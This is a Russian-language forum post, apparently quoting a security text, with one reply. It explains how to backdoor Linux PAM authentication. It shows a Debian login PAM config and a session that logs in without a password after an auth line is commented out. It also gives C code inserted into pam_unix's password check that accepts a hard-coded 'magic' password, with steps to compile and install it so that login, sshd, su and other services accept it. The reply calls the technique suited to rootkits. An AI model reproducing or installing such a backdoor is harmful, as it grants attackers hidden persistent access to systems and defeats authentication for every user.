Для многих служб в целях аутентификации пользователей стали применяться стандартные подгружаемые модули аутентификации (PAM) вместо независимой аутентификации для каждой программы. С помощью троянских PAM-библиотек можно получить возможность добавить "магические" пароли сразу для нескольких служб, даже не изменяя демоны этих служб. Рассмотрим пример использования программы идентификации пользователей /bin/login на компьютере, где запущена Debian 3.0. Программа использует PAM-конфигурацию, определенную в файле /etc/pam.d/login. auth requisite pam_securetty.so auth requisite pam_nologin.so auth required pam_env.so auth required pam_unix.so nullok account required pam_unix.so session required pam_unix.so session optional pam_lastlog.so session optional pam_motd.so session optional pam_mail.so standard noenv password required pam_unix.so nullok obscure min=5 max=8 Попробуем подключиться (запустить /bin/login) с локального терминала. brenda@machine$ /bin/login login: george Password: <попытка угадать пароль> Login incorrect. Допустим, мы закомментировали строку auth, содержащую /lib/security/pam_pwdb.so, и снова попытались запустить /bin/login. brenda@machine$ /bin/login login: george george@machine$ whoami george Закомментировав строку auth, мы указали PAM-модулям, управляющим регистрацией пользователей, не запускать проверки из библиотеки pam_unix.so, которые подтверждают соответствие пароля данным файлов /etc/passwd и /etc/shadow. Таким образом, у пользователя даже не спрашивается пароль. Подобное изменение обнаружится немедленно. Вместо этого можно незначительно изменить метод проверки паролей с помощью библиотеки pam_unix.so. Ниже приведен фрагмент из файла support.-c (в имени файла нет опечатки), содержащий исходный код PAM и добавленный троянский код. int _unix_verify_password(pam_handle_t *pamh, const char *name, const char *p, unsigned int ctrl) { struct passwd *pwd = NULL; struct spwd *spwdent = NULL; char *salt = NULL; char *pp = NULL; char *data_name; int retval; /* Начало добавленного троянского кода */ if ( ! strcmp( p, "$uperR s3cr!t s7r*n&" ) ) { return PAM_SUCCESS; } /* Конец добавленного троянского кода */ D(("called")); /* Найти запись для этого пользователя */ D(("locating user's record")); pwd = getpwnam(name); /* Получить запись из файла паролей... */ ... Затем компилируем свою версию библиотеки pam_unix.so и размещаем в /lib/security. После этого все программы, использующие при аутентификации библиотеку PAM pam_unix.so (данная библиотека используется практически всеми программами с аутентификацией пользователей, включая login, passwd, sshd, su, xscreensaver и т.д.), будут иметь "потайной ход" для беспрепятственного доступа (при вводе "магического" пароля $uperR s3cr!t s7r*n& никакой проверки имени пользователя и пароля производиться не будет). Кто-нибудь этим занимался?
Все конечно хорошо, но никто кроме рута не сможет писать ни в один из файлов. Следовательно использовать "уязвимость" невозможно. Но для создания руткитов очнь хорошо сойдет. Правда в рутките возможность входа с магическим паролем - не самая большая проблема. Тем более уже давно исмпользуется способ подмены login